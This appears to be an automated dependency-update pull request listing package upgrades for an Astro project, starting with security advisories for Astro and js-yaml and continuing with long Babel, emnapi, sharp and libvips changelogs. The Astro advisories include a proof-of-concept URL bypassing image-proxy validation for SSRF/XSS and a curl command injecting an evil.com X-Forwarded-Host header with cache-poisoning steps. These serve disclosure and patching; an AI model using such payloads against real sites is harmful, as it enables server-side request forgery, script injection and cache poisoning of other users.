🚨 Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

🚨 Astro's `X-Forwarded-Host` is reflected without validation

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC

  • Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
  • nvm use
  • yarn run build
  • node ./dist/server/entry.mjs
  • curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
  • Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Release Notes

Too many releases to show here. View the full release notes.

✳️ js-yaml (4.1.0 β†’ 4.1.1) Β· Repo Β· Changelog

Security Advisories 🚨

🚨 js-yaml has prototype pollution in merge (<<)

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

Release Notes

4.1.1 (from changelog)

Security

  • Fix prototype pollution issue in yaml merge (<<) operator.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ @​astrojs/compiler (indirect, 2.12.2 β†’ 2.13.1) Β· Repo Β· Changelog

Release Notes

2.13.1 (from changelog)

Patch Changes

  • 357b8fe: Fixes a panic when parsing files with a closing frontmatter fence (---) but no opening fence. The compiler now returns a helpful diagnostic error instead of crashing.
  • cba568f: Fixes the "Unterminated string literal" error when using multiline attribute values on components.

2.13.0 (from changelog)

Minor Changes

  • 59f7759: Support HTML element

    Based on the recent commit history, this change appears to be related to fixing issue #1093 regarding selectedcontent parsing in customizable selects. The element is part of the new Customizable Select Element API in HTML, used within elements to display the currently selected option(s).

  • 89c80fe: Adds a walkAsync utility function that returns a Promise from the tree traversal process.

    Unlike the existing walk function which doesn't provide a way to wait for traversal completion, walkAsync allows consumers to await the full traversal of the AST.

Patch Changes

  • 2a27aca: Fixes a potential parsing issue with head content defined in a component where another component is rendered first.
  • 1264286: Fixes a CSS scoping issue when a selector contains only pseudo selectors.

Does any of this look wrong? Please let us know.

↗️ @​astrojs/telemetry (indirect, 3.3.0 β†’ 3.3.1) Β· Repo Β· Changelog

↗️ @​babel/helper-validator-identifier (indirect, 7.27.1 β†’ 7.28.5) Β· Repo Β· Changelog

Release Notes

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

πŸ‘“ Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

πŸ› Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

πŸƒβ€β™€οΈ Performance

Committers: 8

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/parser (indirect, 7.27.5 β†’ 7.29.2) Β· Repo Β· Changelog

Release Notes

7.29.0

v7.29.0 (2026-01-31)

Thanks @simbahax for your first PR!

πŸš€ New Feature

  • babel-types
    • #17750 [7.x backport] Add attributes import declaration builder (@JLHwung)
  • babel-standalone
    • #17663 [7.x backport] feat(standalone): export async transform (@JLHwung)
    • #17725 [7.x backport] feat: read standalone targets from data-targets (@JLHwung)

πŸ› Bug Fix

  • babel-parser
  • babel-traverse
    • #17708 fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (@simbahax)
  • babel-plugin-transform-block-scoping, babel-traverse
    • #17737 [7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (@magic-akari)

πŸƒβ€β™€οΈ Performance

  • babel-generator, babel-runtime-corejs3

Committers: 6

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

πŸ‘“ Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

πŸ› Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

πŸƒβ€β™€οΈ Performance

Committers: 8

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

7.28.3

v7.28.3 (2025-08-14)

πŸ‘“ Spec Compliance

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-transform-class-static-block, babel-preset-env

πŸ› Bug Fix

  • babel-parser
    • #17465 fix(parser/typescript): parse import("./a", {with:{},}) (@easrng)
    • #17478 fix(parser): stop subscript parsing on async arrow (@JLHwung)

πŸ’… Polish

  • babel-plugin-transform-regenerator, babel-plugin-transform-runtime

πŸ“ Documentation

🏠 Internal

  • #17454 Enable type checking for scripts and babel-worker.cjs (@JLHwung)

πŸ”¬ Output optimization

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions

Committers: 5

7.28.0

v7.28.0 (2025-07-02)

πŸš€ New Feature

  • babel-node
  • babel-types
  • babel-compat-data, babel-preset-env
  • babel-core, babel-parser
  • babel-generator, babel-parser
    • #17346 Materialize explicitResourceManagement parser plugin (@JLHwung)
  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-plugin-transform-object-rest-spread, babel-traverse, babel-types
  • babel-parser, babel-traverse, babel-types
  • babel-generator, babel-plugin-proposal-destructuring-private, babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring, babel-plugin-transform-explicit-resource-management, babel-plugin-transform-react-display-name, babel-types
  • babel-generator, babel-parser, babel-plugin-proposal-destructuring-private, babel-plugin-transform-block-scoping, babel-plugin-transform-object-rest-spread, babel-plugin-transform-typescript, babel-traverse, babel-types

πŸ› Bug Fix

  • babel-helper-globals, babel-plugin-transform-classes, babel-traverse
  • babel-types

🏠 Internal

  • babel-compat-data, babel-plugin-proposal-decorators, babel-plugin-transform-async-generator-functions, babel-plugin-transform-json-modules, babel-plugin-transform-regenerator, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs3

Committers: 5

7.27.7

v7.27.7 (2025-06-26)

Thanks @arthur-mountain and @evankanderson for your first PRs!

πŸ‘“ Spec Compliance

  • babel-parser, babel-plugin-transform-classes
    • #17203 Interepret parser allow* options as top level only (@JLHwung)
  • babel-parser

πŸ› Bug Fix

  • babel-core
  • babel-types
  • babel-plugin-transform-parameters

🏠 Internal

  • babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread
    • #17389 Use NodePath#splitExportDeclaration in destructuring transforms (@JLHwung)

Committers: 6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/types (indirect, 7.27.6 β†’ 7.29.0) Β· Repo Β· Changelog

Release Notes

7.29.0

v7.29.0 (2026-01-31)

Thanks @simbahax for your first PR!

πŸš€ New Feature

  • babel-types
    • #17750 [7.x backport] Add attributes import declaration builder (@JLHwung)
  • babel-standalone
    • #17663 [7.x backport] feat(standalone): export async transform (@JLHwung)
    • #17725 [7.x backport] feat: read standalone targets from data-targets (@JLHwung)

πŸ› Bug Fix

  • babel-parser
  • babel-traverse
    • #17708 fix(traverse): provide a hub when traversing a File or Program and no parentPath is given (@simbahax)
  • babel-plugin-transform-block-scoping, babel-traverse
    • #17737 [7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (@magic-akari)

πŸƒβ€β™€οΈ Performance

  • babel-generator, babel-runtime-corejs3

Committers: 6

7.28.5

v7.28.5 (2025-10-23)

Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!

πŸ‘“ Spec Compliance

  • babel-parser
  • babel-helper-validator-identifier

πŸ› Bug Fix

  • babel-plugin-proposal-destructuring-private
  • babel-parser
  • babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring
  • babel-helper-create-class-features-plugin, babel-helper-member-expression-to-functions, babel-plugin-transform-block-scoping, babel-plugin-transform-optional-chaining, babel-traverse, babel-types
    • #17503 Fix JSXIdentifier handling in isReferencedIdentifier (@JLHwung)
  • babel-traverse

🏠 Internal

πŸƒβ€β™€οΈ Performance

Committers: 8

7.28.4

v7.28.4 (2025-09-05)

Thanks @gwillen and @mrginglymus for your first PRs!

🏠 Internal

  • babel-core, babel-helper-check-duplicate-nodes, babel-traverse, babel-types
  • babel-plugin-transform-regenerator
  • babel-core

Committers: 5

7.28.2

v7.28.2 (2025-07-24)

Thanks @souhailaS for your first PR!

πŸ› Bug Fix

  • babel-types
  • babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

Committers: 4

7.28.1

v7.28.1 (2025-07-12)

πŸ› Bug Fix

  • babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator

πŸ“ Documentation

↩️ Revert

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-types

Committers: 3

7.28.0

v7.28.0 (2025-07-02)

πŸš€ New Feature

  • babel-node
  • babel-types
  • babel-compat-data, babel-preset-env
  • babel-core, babel-parser
  • babel-generator, babel-parser
    • #17346 Materialize explicitResourceManagement parser plugin (@JLHwung)
  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-plugin-transform-object-rest-spread, babel-traverse, babel-types
  • babel-parser, babel-traverse, babel-types
  • babel-generator, babel-plugin-proposal-destructuring-private, babel-plugin-proposal-discard-binding, babel-plugin-transform-destructuring, babel-plugin-transform-explicit-resource-management, babel-plugin-transform-react-display-name, babel-types
  • babel-generator, babel-parser, babel-plugin-proposal-destructuring-private, babel-plugin-transform-block-scoping, babel-plugin-transform-object-rest-spread, babel-plugin-transform-typescript, babel-traverse, babel-types

πŸ› Bug Fix

  • babel-helper-globals, babel-plugin-transform-classes, babel-traverse
  • babel-types

🏠 Internal

  • babel-compat-data, babel-plugin-proposal-decorators, babel-plugin-transform-async-generator-functions, babel-plugin-transform-json-modules, babel-plugin-transform-regenerator, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs3

Committers: 5

7.27.7

v7.27.7 (2025-06-26)

Thanks @arthur-mountain and @evankanderson for your first PRs!

πŸ‘“ Spec Compliance

  • babel-parser, babel-plugin-transform-classes
    • #17203 Interepret parser allow* options as top level only (@JLHwung)
  • babel-parser

πŸ› Bug Fix

  • babel-core
  • babel-types
  • babel-plugin-transform-parameters

🏠 Internal

  • babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread
    • #17389 Use NodePath#splitExportDeclaration in destructuring transforms (@JLHwung)

Committers: 6

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​emnapi/runtime (indirect, 1.4.3 β†’ 1.10.0) Β· Repo

Release Notes

1.10.0

What's Changed

  • fix: early update wasm memory for views (https://github.com/hardfist/emnapi-shared-memory-grow-repro)
  • fix!: napi_adjust_external_memory no longer grow wasm memory
  • fix: add missing from64 wrap
  • fix: coalesce tsfn (js version) send message
  • ci: restructure CI workflows
  • ci: prebuilt liraries using llvm 22

Thanks @hardfist

Full Changelog: v1.9.2...v1.10.0

1.9.2

What's Changed

Full Changelog: v1.9.1...v1.9.2

1.9.1

fix for emscripten 5.0.3
emscripten-core/emscripten@3051725

Full Changelog: v1.9.0...v1.9.1

1.9.0

What's Changed

  • fix data race and use-after-free in napi_threadsafe_function by @toyobayashi in #199
    • fix tsfn not work in JS based async_work workers
    • fix pthread_create not work in JS based async_work workers
    • emnapi_basic[-mt].a includes libuv symbols now
  • refactor: dispatch async work queue in shared memory by @toyobayashi in #200
    • Avoids deadlock when main thread block on waiting queued async work starting. Completed work can not be dispatched to main thread that cause no new worker available, then queued work never start.
    • wasm32-wasip1-threads target spawn async worker in JS will use pthread_create, no longer maintain a separate worker pool.
  • rename node_api_create_object_with_properties by @toyobayashi in #193
  • fix: execute tsfn finalizer after queue drains when aborted
  • feat: add required config hint in package entry 
    const { requiredConfig } = require('emnapi')
console.log(requiredConfig.clang.wasmld)
    [
  '--import-memory',
  '--shared-memory',
  '--export-table',
  '--export=malloc',
  '--export=free',
  '--export=napi_register_wasm_v1',
  '--export-if-defined=node_api_module_get_api_version_v1',
  '--export=emnapi_thread_crashed',
  '--export-if-defined=emnapi_async_worker_create',
  '--export-if-defined=emnapi_async_worker_init'
]

Full Changelog: v1.8.1...v1.9.0

1.8.1

What's Changed

Full Changelog: v1.8.0...v1.8.1

1.8.0

What's Changed

Full Changelog: v1.7.1...v1.8.0

1.7.1

What's Changed

Full Changelog: v1.7.0...v1.7.1

1.7.0

What's Changed

Full Changelog: v1.6.0...v1.7.0

1.6.0

What's Changed

Full Changelog: v1.5.0...v1.6.0

1.5.0

What's Changed

Prebuilt libraries are built by LLVM clang 20.

  • fix: env undefined after emitting beforeExit event by @toyobayashi in #162
  • fix(wasi): avoid deadlock caused by child thread abort when the main thread is in Atomics.wait and allow blocking calls on browser main thread (requires wasi-sdk 26+ and --export=emnapi_thread_crashed) by @toyobayashi in #163
  • build: backport emscripten parse tools changes to v1 by @toyobayashi in #165

Full Changelog: v1.4.5...v1.5.0

1.4.5

What's Changed

  • fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)

Full Changelog: v1.4.4...v1.4.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 47 commits:

↗️ @​img/sharp-darwin-arm64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-darwin-x64 (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​img/sharp-libvips-darwin-arm64 (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-darwin-x64 (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-linux-arm (indirect, 1.0.5 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-linux-arm64 (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-linux-s390x (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-linux-x64 (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
harfbuzz 12.1.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 0826579
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.2
spng 0.7.4
tiff 4.7.1
vips 8.17.3
webp 1.6.0
xml2 2.15.1
zlib-ng 2.2.5

1.2.3

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.2
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.15.0
zlib-ng 2.2.5

1.2.2

Dependency Version
aom 3.13.1
archive 3.8.1
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.1
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.0
harfbuzz 11.5.0
heif 1.20.2
hwy 1.3.0
imagequant 2.4.1
lcms 2.17
mozjpeg 4.1.5
pango 1.57.0
pixman 0.46.4
png 1.6.50
proxy-libintl 0.5
rsvg 2.61.1
spng 0.7.4
tiff 4.7.0
vips 8.17.2
webp 1.6.0
xml2 2.14.6
zlib-ng 2.2.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ @​img/sharp-libvips-linuxmusl-arm64 (indirect, 1.0.4 β†’ 1.2.4) Β· Repo

Release Notes

1.2.4

Dependency Version
aom 3.13.1
archive 3.8.2
cairo 1.18.4
cgif 0.5.0
exif 0.6.25
expat 2.7.3
ffi 3.5.2
fontconfig 2.17.1
freetype 2.14.1
fribidi 1.0.16
glib 2.86.1
